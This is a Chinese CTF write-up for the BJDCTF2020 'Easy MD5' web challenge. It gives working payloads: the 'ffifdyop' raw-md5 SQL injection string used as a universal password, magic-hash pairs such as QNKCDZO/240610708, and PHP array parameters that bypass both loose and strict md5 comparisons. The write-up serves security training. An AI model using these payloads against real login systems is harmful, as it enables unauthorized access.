美文网首页CTF-WEB
2020-BJDCTF-Web-Easy MD5

2020-BJDCTF-Web-Easy MD5

作者: 余生似梦 | 来源:发表于2021-07-05 16:20 被阅读0次

复现环境

https://buuoj.cn/challenges#[BJDCTF2020]Easy%20MD5

考察知识点

  • 代码审计
  • MD5绕过
  • 弱类型比较

解题分析

访问题目是一个查询框,提交查询会传入一个password参数

查询框

响应头里有提示md5($pass,true)

md51

md5(string,true)函数在指定了true的时候,是返回的原始 16 字符二进制格式。

而MD5绕过就是利用二进制字符串和前面的形成闭合,构成万能密码。

content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

我们输入这个ffifdyop字符串以后出现以下的页面

ffifdyop

提示在源码里面

源码

if($a != $b && md5($a) == md5($b))

这个有多种绕过

?a=QNKCDZO&b=240610708

?a=s878926199a&b=s155964671a

?a[]=1&b[]=2

等等

弱类型比较绕过

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))

弱类型比较变成了强类型比较了,这里就只能用php数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false成立使条件成立。

php数组绕过

相关文章

  • 2020-BJDCTF-Web-Easy MD5

    复现环境 https://buuoj.cn/challenges#[BJDCTF2020]Easy%20MD5[h...

  • MD5(MD5 消息摘要算法)

    MD5(MD5 消息摘要算法) MD5 简介 MD5 消息摘要算法(MD5 Message-Digest Algo...

  • MD5介绍

    md5介绍 1. md5简介 md5的全称是md5信息摘要算法(英文:MD5 Message-Digest Alg...

  • iOS中使用的MD5与Base64 (Objective-C)

    一. MD5 MD5数字校验NSString对象 MD5数字校验NSData对象 MD5数字加盐校验NSStrin...

  • 第一篇、MD5算法和SHA-1算法

    目录一、MD5算法 1、MD5算法是什么? 2、MD5算法的优点 3、MD5算法的不足 4、MD5加密的应用场景 ...

  • node功能模块封装

    crypto加密 利用nodejs内置crypto模块,来封装md5功能例:写MD5函数 科普:MD5(MD5 M...

  • 去重效率对比:HashTree与BloomFilter

    一、MD5码原理 1、MD5码简介 MD5讯息摘要演算法(英语:MD5 Message-Digest Algori...

  • MD5加密

    MD5 base64 + MD5

  • MAC HASH

    openssl dgst -md5 XXX.xxx openssl md5 XXX.xxx md5 XXX.xxx...

  • 算法

    MD5 MD5:首先,md5不是加密。md5是摘要算法,主要是用来做认证,利用自身优势(不可逆、低碰撞率)解决公开...

网友评论

    本文标题:2020-BJDCTF-Web-Easy MD5

    本文链接:https://www.haomeiwen.com/subject/dhkiultx.html